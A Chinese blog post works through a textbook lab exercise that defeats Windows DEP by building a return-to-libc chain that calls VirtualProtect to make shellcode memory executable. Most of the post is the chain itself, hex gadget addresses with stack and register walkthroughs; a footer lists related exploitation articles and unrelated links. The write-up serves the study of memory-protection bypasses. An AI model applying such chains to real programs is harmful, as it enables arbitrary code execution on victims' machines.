Ret2Libc 练习(2) -- VirtualProtect
这几天做了NSCTF和GCTF,耽误了几天,今天继续。
这次绕过DEP的方法是利用VirtualProtect函数将shellcode所在的内存属性改成可执行状态就可以绕过DEP了。
首先看一下VirtualProtect函数的参数说明:

lpAddress: 改变属性的内存起始起止
dwSize: 要改变属性的内存的起始地址
flNewProtect: 需要设置的内存的新属性,这里设置为0x40就行,可读可写可执行
pflOldProtest: 内存原始属性类型保存地址,根据实验书上的意思这里的内存地址只要保证可写就行,其他没要求
首先看一下VirtualProtectEx函数在内存的位置,在我的机器上地址是0x7c801ae7:

可以看到4个参数的地址是以EBP定位的,所以EBP的地址在堆栈布置中尤为重要。
首先看一下程序溢出时的堆栈和寄存器情况:

可以看到EIP的地址是0x0012fe0, EBP也被覆盖成了0x90909091,先想到把EBP的值修复,看到ESP的值正常,找push esp; pop ebp 的地址:
"\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
修正EBP以后重新运行:

看到已经执行完push esp; pop ebp; retn 4; 现在esp=0x0013febc, ebp=0x0013feb4, 可以看到中间差了8个字节,eip=0x90909093, 也就是0x0013feb4处。现在ebp的值已经确定了,ebp+0x14=0x0013fec8, ebp+0x8=0x0013febc, ebp+0x14和ebp+0x8是需要动态确定的地址,现在esp指向0x0013febc, 让esp指向0x0013fec8的指令首先想到的就是pop r32; pop r32; pop r32; 通过3个出栈到达使esp=0x0013fec8,这样可以将ebp+0x14这个参数设置好;现在的esp正好指向ebp+0x8的位置,也就是改变属性的内存起始起止的lpAddress,可以先将esp向高位移动4字节如何用push esp指令压榨,设置好lpAddress,把esp向下移动4字节的指令是retn指令,因为retn = pop eip; add esp, 0x4。随便找个retn指令的地址填在0x0013feb4就行:
“\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
程序重新运行,执行完retn指令以后,堆栈:

现在eip=0x90909095, esp=ebp+0xC, 直接push esp, 就可以设置好ebp+0x8, 但是push esp以后直接retn的话会将0x0013fec0弹给eip,则程序会到0x0013fec0取指令,这在DEP没有关闭的情况下显然不能执行,所以书中采用了jmp eax的方法。现在eax=0x0013fdfc, 需要控制eax的值,eax的值指向pop r32; pop r32; pop r32; retn ; 指令的地址就可以顺利到达比ebp+0x14高4字节的位置。如何将pop3的指令地址给eax, 注意刚开始发生溢出时eip=0x90909092, esp在eip的高位4字节处,故可以这样布置堆栈:
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop3 retn
现在shellcode的流程首先将pop3 retn的地址给eax,在修正ebp, 执行之前的运行流程:
"\x90\x90\x90\x90"
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" //push esp jmp eax
"\x96\x90\x90\x90"
pop eax; retn 后,esp指向retn的地址,eip指向修正ebp的地址,从而执行之前设置好的运行流程。由于在修正ebp之前加了2个地址,导致ebp的地址发生了变化,看看经过了pop pop pop之后堆栈和寄存器的情况

push esp; jmp eax; 指令将0x0012fec8这个地址压入了ebp+0x8之后,跳转到eax的地址执行,eax指向pop pop pop 的地址,经过3次pop之后,esp最终指向ebp+0x14,在经过一次retn之后,将ebp+0x14指向的地址赋给eip,同时esp向高址移动4字节,接下来一个push esp的指令就可以成功设置ebp+0x14的参数,这里唯一需要注意的是查找3次pop指令时不能修改esp和ebp的值。所以在执行完pop pop pop retn之后,接下来执行push esp指令,push esp执行完以后,此时esp指向ebp+0x14,需要增大esp的值,因为在执行VirtualProtectEx需要进行压栈操作,不能破坏esp+0x8--esp+0x14的堆栈区域,很巧妙的一点就是可以继续利用之前的push esp; jmp eax的指令,push esp结束布置好VirtualProtectEx的参数以后,执行pop pop pop retn指令,可以将esp向高址移动16个字节,不至于影响已经布置好的堆栈。
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax

第二次执行完pop pop pop retn以后,就可以跳到VirtualProtect的入口处,最终的shellcode布置:
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xd9\x1a\x80\x7c" // VitualProtect
2015/9/27
11:49
Ret2Libc 练习(2) -- VirtualProtect的更多相关文章
- OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()
一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- OD: DEP & Ret2Libc
Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...
- Ret2Libc 练习(1) -- ZwSetInformationProcess
花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...
- 黑窗口输入确定数字弹MessageBox(VirtualProtect())
今天有人说到这个就想的弹一下,刚开始弄了一下,发现内存访问有问题想到可能与读写保护有关,所以用了VirtualProtect函数,得到了正确结果 网上这个小东西我自己没发现,就贴一下.. void m ...
- 缓冲区溢出基础实践(一)——shellcode 与 ret2libc
最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- Rop实战之利用VirtualProtect绕过DEP
CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...
随机推荐
- LCD内核自带驱动分析
分析内种LCD驱动程序框架 LCD在fbmem.c文件中1.找到init.函数 static int __initfbmem_init(void){ 做的工作: (1).if (register_ch ...
- Visual Studio 2015 Update 2
Visual Studio Community 2015(带Update2)(社区版,针对个人免费): 简体中文版 || SHA1:待更新 繁体中文版 || SHA1:待更新 英文版 || SHA1: ...
- Unity3D 一个较常见的错误信息“rect[2] == rt->GetGLWidth() && rect[3] == rt->GetGLHeight()”
rect[2] == rt->GetGLWidth() && rect[3] == rt->GetGLHeight() 这个错误信息的具体含义我还不太清楚.它出现以后会不停 ...
- SQL Server 内置函数、临时对象、流程控制
SQL Server 内置函数 日期时间函数 --返回当前系统日期时间 select getdate() as [datetime],sysdatetime() as [datetime2] getd ...
- Javascript闭包(狗血剧情,通俗易懂)
我们先来看一个闭包的函数: function a() { var i = 0; function b() { alert(++i); } return b; } var c = a(); c(); c ...
- Java和eclipse常用操作
eclipse: ctrl+F10 显示行号 ctrl+shift+F 自动对齐 ctrl+/ 注释 java: jar包: Manifest-Version - 指定清单文件的版本号 Main-Cl ...
- Page事件执行顺序
Page 执行中将按照如下顺序激活事件: Page.PreInit Page.Init Page.InitComplite Page.PreLoad Page.Load Page.LoadComple ...
- 2016 - 2 - 20 ARC知识总结(二 autorelease概念及实现)
首先祝自己生日快乐~23咯~ 一 autorelease的概念 autorelease会像C语言的自动变量那样来对待对象实例.当超出作用域(相当于变量作用域)时,对象的实例release实力方法被调 ...
- UE4蓝图编程的第一步
认识UE4蓝图中颜色与变量类型: UE4中各个颜色对应着不同的变量,连接点和连线的颜色都在表示此处是什么类型的变量.对于初学者来说一开始看到那么多连接点, 可能会很茫然,搞不清还怎么连,如果知道了颜色 ...
- select标签让文字垂直居中问题
直接在select样式中添加:padding:npx 0; n的大小视select标签的高度而定.一般为8px左右.